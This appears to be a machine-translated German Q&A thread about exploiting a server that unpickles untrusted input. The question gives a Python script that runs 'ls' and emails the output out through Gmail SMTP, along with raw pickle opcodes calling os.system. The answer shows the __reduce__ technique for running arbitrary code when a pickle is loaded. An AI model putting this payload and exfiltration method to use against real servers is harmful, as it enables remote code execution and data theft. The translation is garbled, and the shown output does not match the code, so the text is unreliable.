Pickle Exploiting

Question

Ich habe eine Aufgabe, eine Beizdatei an einen Server zu senden, die alles, was an sie gesendet wird, entpackt. Mein Plan ist es, mir per E-Mail den Befehl ls zurückzugeben. Ich habe diese Datei:

import smtplib 
import commands 
status, output = commands.getstatusoutput("ls") 
server = smtplib.SMTP_SSL('smtp.gmail.com') 
server.login("...@gmail.com", "password") 
server.sendmail("...@gmail.com", "...@gmail.com", output) 
server.quit() 

Wie kann ich den Server erhalten, dies zu laufen? Ich versuche, eine Datei wie:

cos 
system 
(S'' 
tR. 

mit dem Python-Skript in der '' zu senden.

Ich dachte, so etwas wie:

cos 
system 
(S'python\n import smptlib\n ...' 
tR. 

aber es wird nicht ausgeführt, die Befehle. Wie kann ich den Python ausführen?

Ich habe auf meinem eigenen Computer versucht und der Python sendet die E-Mail in Ordnung.

Answer 1

Tun Sie, was Freundlichkeit Sie in der __reduce__ Methode tun möchten. Bitte sei nicht böse.

import pickle 

class Friendly(object): 
    def __reduce__(self): 
     return (friendly, ('executing friendly code',)) 

def friendly(x): 
    print x 

pickle.dump(Friendly(), open('pickled', 'w')) 
print 'loading ...' 
pickle.load(open('pickled')) 

->

$ python friendly.py
loading ...
Ausführung Kommandocode